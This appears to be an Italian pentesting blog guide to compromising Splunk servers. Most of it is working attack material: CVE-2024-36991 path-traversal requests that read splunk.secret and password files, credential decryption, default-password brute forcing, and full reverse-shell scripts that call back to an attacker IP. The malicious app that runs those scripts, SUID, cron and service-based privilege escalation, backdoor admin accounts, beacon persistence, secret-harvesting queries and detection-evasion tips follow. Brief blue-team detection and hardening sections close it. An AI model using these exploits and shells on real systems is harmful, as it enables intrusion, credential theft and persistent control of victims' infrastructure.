networking

Splunk Pentesting: CVE-2024-36991, RCE e SYSTEM su 8089

Splunk Pentesting: CVE-2024-36991, RCE e SYSTEM su 8089

Guida completa al pentesting di Splunk: sfrutta CVE-2024-36991, recupera credenziali tramite splunk.secret, ottieni RCE via app malevola e scala a SYSTEM o root.

  • Pubblicato il 2026-06-11
  • Tempo di lettura: 7 min

Splunk è una delle piattaforme SIEM più diffuse in ambienti enterprise e la sua REST API di management sulla porta 8089 la rende un target particolarmente appetibile. Centralizza, indicizza e correla log provenienti da tutta l’infrastruttura, offrendo accesso a credenziali, eventi di autenticazione, topologia di rete e altri dati sensibili. Se compromessa, può portare rapidamente fino all’esecuzione di codice con privilegi SYSTEM o root. In questa guida vedrai l’intero flusso di pentesting su Splunk: ricognizione, estrazione di credenziali cifrate, sfruttamento di vulnerabilità note e privilege escalation.


Architettura e Porte #

Splunk si compone di tre elementi principali: il Forwarder (raccoglie log dagli endpoint), l’Indexer (archivia e indicizza i dati) e lo Search Head (query e interfaccia web). La comunicazione tra questi componenti passa attraverso porte specifiche:

PortaServizioTarget offensivo
8000Splunk Web UI (HTTP/HTTPS)Accesso interfaccia, upload app
8089Splunkd Management (REST API)Target primario
9997Splunk ForwarderRicezione log
8191Key-Value StoreOpzionale

La porta 8089 è quella che interessa al pentester. Espone una REST API completa per gestione utenti, installazione app ed esecuzione ricerche. Con credenziali valide diventa un vettore diretto di Remote Code Execution.


Ricognizione ed Enumerazione #

Port scanning #

bash
nmap -p 8000,8089,9997 -sV -sC <target>
nmap -p 8000,8089,9997 -sV --script=http-title,ssl-cert <target>

Output tipico:

text
8000/tcp open  http     Splunk httpd
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
9997/tcp open  splunkd  Splunk forwarder

Il certificato SplunkServerDefaultCert è un indicatore immediato di istanza non configurata correttamente.

Fingerprinting #

bash
# Versione e info server
curl -sk https://<target>:8089/services/server/info

# Banner grab versione
curl -sk https://<target>:8089/services/server/info | grep version

# Verifica accesso non autenticato (Splunk Free)
curl -sk https://<target>:8089/services/apps/local

Se l’endpoint risponde senza credenziali, l’istanza gira in modalità Free — nessuna autenticazione richiesta, accesso diretto a tutti gli endpoint REST.

Analisi certificato SSL #

bash
# Dettagli certificato
openssl s_client -connect <target>:8089 < /dev/null 2>/dev/null \
  | openssl x509 -noout -text

# Estrai common name
echo | openssl s_client -connect <target>:8089 2>/dev/null \
  | openssl x509 -noout -subject

# Con nmap
nmap -p 8089 --script ssl-cert <target>

Shodan #

text
port:8089 splunk
ssl:"SplunkServerDefaultCert"
http.title:"Splunk"
product:Splunk

Circa 230.000 istanze Splunk risultano esposte pubblicamente — molte su versioni vulnerabili.

Splunk Free — Accesso non autenticato #

bash
# Se risponde senza creds → Splunk Free
curl -sk https://<target>:8089/services/server/info

# Lista app
curl -sk https://<target>:8089/services/apps/local

# Esegui ricerca
SEARCH_ID=$(curl -sk https://<target>:8089/services/search/jobs \
  -u admin: \
  -d search="search index=* | head 1000" | grep -oP 'sid>\K[^<]+')
sleep 5
curl -sk https://<target>:8089/services/search/jobs/$SEARCH_ID/results

CVE-2024-36991 — Path Traversal su Splunk Web (Windows) #

Questa vulnerabilità (CVSS 7.5) colpisce Splunk Enterprise su Windows nelle versioni precedenti a 9.2.2, 9.1.5 e 9.0.10. Permette lettura arbitraria di file senza autenticazione.

Causa tecnica: os.path.join in Python rimuove il drive letter da un token di path se coincide con quello corrente.

Requisiti: accesso alla porta 8000, Splunk Web abilitato.

bash
# Verifica
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Windows/win.ini"

# PoC automatizzato
git clone https://github.com/th3gokul/CVE-2024-36991
python3 cvehunter.py -u http://<target>:8000

File utili da leggere:

bash
# Chiave crittografica master
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cauth%5Csplunk.secret

# Hash utenti Splunk
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cpasswd

# Credenziali LDAP cifrate
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Csystem%5Clocal%5Cauthentication.conf

Per una guida completa all’exploitation di Splunk in ambienti reali: HTB Haze Walkthrough — Splunk, GMSA Abuse e Privilege Escalation a SYSTEM.


Estrazione e Decryption delle Credenziali #

Due meccanismi distinti #

1. Hash SHA-512 — file etc/passwd per utenti locali:

text
admin:$6$8FRibWS3...<hash>...:Administrator:admin:admin@example.com::

Crack con hashcat -m 1800 — password robuste non cedono a rockyou.

2. Cifratura proprietaria — password nei file .conf (authentication.conf, inputs.conf, outputs.conf). Cifrate con splunk.secret.

splunk.secret — la chiave master #

text
# Linux
/opt/splunk/etc/auth/splunk.secret

# Windows
C:\Program Files\Splunk\etc\auth\splunk.secret
bash
pip3 install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$XXXXXXXX...'

Dove cercare le password cifrate #

bash
find . -name "*.conf" | xargs grep -l "password\|bindDNpassword\|\$7\$" 2>/dev/null

# File tipici
# etc/system/local/authentication.conf  → bind LDAP password
# etc/apps/*/local/inputs.conf           → DB connections, API keys
# etc/apps/*/local/outputs.conf          → forwarding credentials

authentication.conf in local/ contiene spesso la password del bind LDAP — cifrata con splunk.secret e completamente decriptabile.


Credenziali di Default e Brute Force #

bash
curl -sk -u admin:changeme https://<target>:8089/services/server/info
curl -sk -u admin:admin https://<target>:8089/services/server/info
curl -sk -u admin:splunk https://<target>:8089/services/server/info
bash
# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -s 8089 <target> https-get /services/server/info

# Metasploit
use auxiliary/scanner/http/splunk_login
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Remote Code Execution via Malicious App #

Splunk esegue automaticamente gli script contenuti nelle app installate — Python, PowerShell, Bash, Batch. Con credenziali admin si ottiene una shell nel contesto del servizio.

Struttura app malevola #

text
reverse_shell_splunk/
├── bin/
│   └── run.ps1
└── default/
    ├── app.conf
    └── inputs.conf

app.conf #

ini
[install]
is_configured = true

[ui]
is_visible = false
label = System Monitor

[launcher]
author = System
description = System monitoring application
version = 1.0

inputs.conf #

ini
[script://$SPLUNK_HOME/etc/apps/reverse_shell_splunk/bin/run.ps1]
disabled = 0
interval = 10
sourcetype = shell
index = main

run.ps1 (Windows) #

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

rev.py (Linux) #

python
#!/usr/bin/env python3
import sys, socket, os, pty
ip = "10.10.14.X"
port = 4444
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

Deploy #

bash
tar -czf reverse_shell.tar.gz reverse_shell_splunk/
nc -lvnp 4444

# Via REST API
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/apps/local \
  -F "name=reverse_shell_splunk" \
  -F "appfile=@reverse_shell.tar.gz" \
  -F "update=true"

# Via Web UI: Apps → Manage Apps → Install app from file

Altri metodi RCE #

SPL injection (se app custom configurate):

spl
index=main | eval cmd="whoami" | outputlookup cmd_output.csv
| script python script_name.py

SplunkWhisperer2 — automatizzato con pulizia:

bash
git clone https://github.com/cnotin/SplunkWhisperer2.git
cd SplunkWhisperer2 && pip3 install requests

python3 PySplunkWhisperer2_remote.py \
  --host <target> --lhost <attacker> --lport 4444 \
  --username admin --password PASSWORD

Metasploit:

bash
use exploit/multi/http/splunk_upload_app_exec
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASSWORD PASSWORD
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

Privilege Escalation #

Linux — Splunk gira come root #

Su Linux Splunk gira di default come root — shell via app = root diretto.

Metodo 1 — SUID binary via app:

bash
mkdir -p /opt/splunk/etc/apps/privesc/bin

cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
    setuid(0); setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc /tmp/shell.c -o /tmp/suid_shell

cat > /opt/splunk/etc/apps/privesc/default/inputs.conf << 'EOF'
[script://$SPLUNK_HOME/etc/apps/privesc/bin/setup.sh]
disabled = 0
interval = 10
sourcetype = setup
EOF

cat > /opt/splunk/etc/apps/privesc/bin/setup.sh << 'EOF'
#!/bin/bash
cp /tmp/suid_shell /tmp/root_shell
chmod 4755 /tmp/root_shell
EOF
chmod +x /opt/splunk/etc/apps/privesc/bin/setup.sh
/opt/splunk/bin/splunk restart
/tmp/root_shell

Metodo 2 — Splunk Universal Forwarder:

bash
# Se il forwarder gira come root e puoi scrivere in deployment-apps
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/bin
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/default

cat > /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh

cat > /opt/splunkforwarder/etc/deployment-apps/privesc/default/inputs.conf << 'EOF'
[script://./bin/shell.sh]
disabled = 0
interval = 10
sourcetype = shell
EOF

/opt/splunkforwarder/bin/splunk reload deploy-server

Metodo 3 — Cron job:

bash
ls -la /etc/cron.d/ | grep splunk
echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/splunk_privesc

cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/5555 0>&1
EOF
chmod +x /tmp/backdoor.sh

Windows — Splunk gira come SYSTEM #

Metodo 1 — Service manipulation:

powershell
sc config Splunkd binPath= "cmd.exe /c net user hackita Password123! /add"
sc stop Splunkd && sc start Splunkd
net localgroup administrators hackita /add

Metodo 2 — DLL Hijacking:

powershell
# Trova directory scrivibili nel PATH di Splunk
Get-ChildItem "C:\Program Files\Splunk" -Recurse |
  Where-Object {$_.PSIsContainer} | ForEach-Object {$_.FullName}

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o splunk.dll
Copy-Item splunk.dll "C:\Program Files\Splunk\bin\"
Restart-Service Splunkd

In un ambiente Active Directory, avere SYSTEM su un host joinato apre scenari avanzati come DPAPI domain backup key dump — tecnica approfondita nella guida su DPAPI exploitation. Le credenziali estratte con Mimikatz possono poi essere usate per movimento laterale.


Data Exfiltration #

bash
# Crea job di ricerca
SEARCH_JOB=$(curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/search/jobs \
  -d search='search index=* password | head 1000' \
  -d output_mode=json | jq -r '.sid')

# Esporta in CSV/JSON/XML
curl -sk -u admin:PASSWORD \
  "https://<target>:8089/services/search/jobs/$SEARCH_JOB/results?output_mode=csv" > dump.csv

Query SPL utili:

spl
index=* password OR pass OR pwd | table _time, host, source, _raw
index=* "BEGIN RSA PRIVATE KEY" OR "BEGIN OPENSSH PRIVATE KEY" | table _time, source, _raw
index=* (aws_access_key_id OR aws_secret_access_key) | table _time, _raw
index=* sourcetype=WinEventLog EventCode=4624 | table _time, host, user, src_ip
index=* sourcetype=netstat | table _time, host, src_ip, dest_ip, dest_port

Lateral movement via log:

spl
# Credenziali nei log
index=* password | table host, source, password

# Trova altre istanze Splunk
index=* sourcetype=splunkd | stats count by host

# Sistemi ad alto valore
index=* (database OR sql OR oracle OR dc OR domain) | stats values(host)

Post-Exploitation #

Estrazione credenziali #

bash
# Da passwd (hash SHA-512)
cat /opt/splunk/etc/passwd
grep -v "^#" /opt/splunk/etc/passwd | cut -d: -f2 > hashes.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# Da app configurations
grep -r "password" /opt/splunk/etc/apps/*/local/*.conf
grep -r "bindDNpassword" /opt/splunk/etc/apps/*/local/*.conf
# inputs.conf → DB e API key
# outputs.conf → forwarding credentials
# authentication.conf → LDAP passwords

Persistenza #

Backdoor user via API #

bash
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/authentication/users \
  -d name=hackita \
  -d password='H@ckita2k24!' \
  -d roles=admin

# Verifica
curl -sk -u hackita:'H@ckita2k24!' https://<target>:8089/services/server/info

App beacon persistente #

bash
cat > malicious_app/bin/beacon.sh << 'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 2>/dev/null
    sleep 3600
done
EOF
ini
[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/beacon.sh]
disabled = 0
interval = 3600
sourcetype = beacon

Scheduled search malevola #

bash
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/saved/searches \
  -d name=SystemHealthCheck \
  -d search='| script python /tmp/beacon.py' \
  -d cron_schedule='*/30 * * * *'

MITRE ATT&CK Mapping #

TecnicaIDDescrizione
Exploit Public-Facing ApplicationT1190CVE-2024-36991 senza auth
Valid AccountsT1078Credenziali estratte/default
PowerShellT1059.001Shell via scripted inputs PS1
PythonT1059.006Shell via scripted inputs Python
Deploy Tool via Third-PartyT1072App malevola via REST API
OS Credential DumpingT1003splunk.secret + passwd
Data from Information RepositoriesT1213Esfiltrazione log via SPL
Create AccountT1136Backdoor user via API
Scheduled Task/JobT1053Scheduled search persistente

OPSEC Notes #

Il deploy di un’app lascia tracce in _internal e _audit. Contromisure:

  • Nomi app legittimi: system_monitor, health_check, ta_windows_updates
  • is_visible = false in app.conf
  • Cancella l’app dopo la shell: curl -sk -u admin:PASS -X DELETE https://<target>:8089/services/apps/local/<nome>
  • Intervallo minimo 10s — non abbassarlo
  • SplunkWhisperer2 gestisce la pulizia automaticamente
  • Usa sempre HTTPS su 8089, non HTTP su 8000

Detection — Blue Team #

IndicatoreQuery SPL
Installazione appindex=_internal source=*splunkd.log* "Installing app"
Script executionindex=_internal component=ExecProcessor
Login sospettoindex=_audit action=login status=success
Nuovo utenteindex=_audit action=edit object=authentication/users
Modifica ruoliindex=_audit action=edit object=authorization/roles
CVE-2024-36991index=_internal source=*splunkd_access.log* uri="*/modules/messaging/*"

Hardening #

bash
# Bind solo localhost
# web.conf
[settings]
server.socket_host = 127.0.0.1
enableSplunkWebSSL = true

# server.conf
[sslConfig]
sslVerifyServerCert = true
requireClientCert = true

# Firewall
ufw deny 8000/tcp
ufw deny 8089/tcp
ufw allow from 192.168.1.0/24 to any port 8089

Cheat Sheet #

bash
# VERSIONE
curl -sk https://<target>:8089/services/server/info | grep version

# CREDENZIALI DEFAULT
admin:changeme / admin:admin / admin:splunk

# BRUTE FORCE
hydra -l admin -P rockyou.txt -s 8089 <target> https-get /services/server/info

# LFI (CVE-2024-36991)
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret"

# DECRYPT
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$...'

# LIST USERS
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users?output_mode=json

# LIST APPS
curl -sk -u admin:PASS https://<target>:8089/services/apps/local?output_mode=json

# RCE
tar -czf shell.tar.gz reverse_shell_splunk/
curl -sk -u admin:PASS https://<target>:8089/services/apps/local \
  -F "name=reverse_shell_splunk" -F "appfile=@shell.tar.gz" -F "update=true"

# CREA UTENTE
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users \
  -d name=hackita -d password='H@ckita2k24!' -d roles=admin

# METASPLOIT
use exploit/multi/http/splunk_upload_app_exec

File importanti:

text
# Linux
/opt/splunk/etc/passwd
/opt/splunk/etc/auth/splunk.secret
/opt/splunk/etc/system/local/authentication.conf
/opt/splunk/etc/apps/*/local/inputs.conf

# Windows
C:\Program Files\Splunk\etc\passwd
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\Splunk\etc\system\local\authentication.conf

FAQ #

Cos’è la porta 8089 di Splunk? È la management port di Splunkd — espone la REST API completa per gestione utenti, installazione app e autenticazione. È il target primario durante un penetration test su ambienti con Splunk.

Come si ottiene RCE su Splunk? Con credenziali admin si installa un’app malevola contenente uno script PowerShell o Python configurato in inputs.conf come scripted input. Splunk lo esegue automaticamente ogni 10 secondi.

CVE-2024-36991 è ancora sfruttabile? Sì, su versioni precedenti a 9.2.2, 9.1.5 e 9.0.10 su Windows con Splunk Web abilitato. Permette lettura arbitraria di file senza autenticazione — inclusi splunk.secret e authentication.conf.

Cosa contiene splunk.secret? La chiave AES master usata da Splunk per cifrare tutte le password nei file di configurazione. Con questo file si decriptano credenziali LDAP, DB e API key memorizzate in qualsiasi .conf.

Splunk RCE dà sempre SYSTEM? Su Windows sì — il servizio Splunkd gira come SYSTEM per default. Su Linux gira come root. La shell ottenuta via app deployment eredita direttamente quel contesto.


Splunk in Azione — Caso Reale #

Tutte le tecniche descritte in questa guida sono state applicate su HTB Haze, una macchina Hard Windows con Splunk Enterprise installato su un Domain Controller. Il walkthrough completo: HTB Haze Walkthrough — Splunk, GMSA Abuse e Privilege Escalation a SYSTEM.


Risorse #


Guida a scopo educativo per penetration testing autorizzato.

#splunk #cve-2024-36991

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.